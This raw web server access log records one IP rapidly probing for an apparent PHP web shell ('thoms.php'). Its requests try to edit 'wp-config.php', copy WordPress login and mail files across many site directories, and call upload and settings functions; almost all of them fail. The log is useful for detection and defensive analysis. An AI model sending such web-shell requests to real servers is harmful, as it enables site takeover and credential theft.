45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?edit=wp-config.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /bfl.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /bfl.com.tw/cgi-bin/ HTTP/1.1" 200 688 "https://163.245.207.76:443/bfl.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
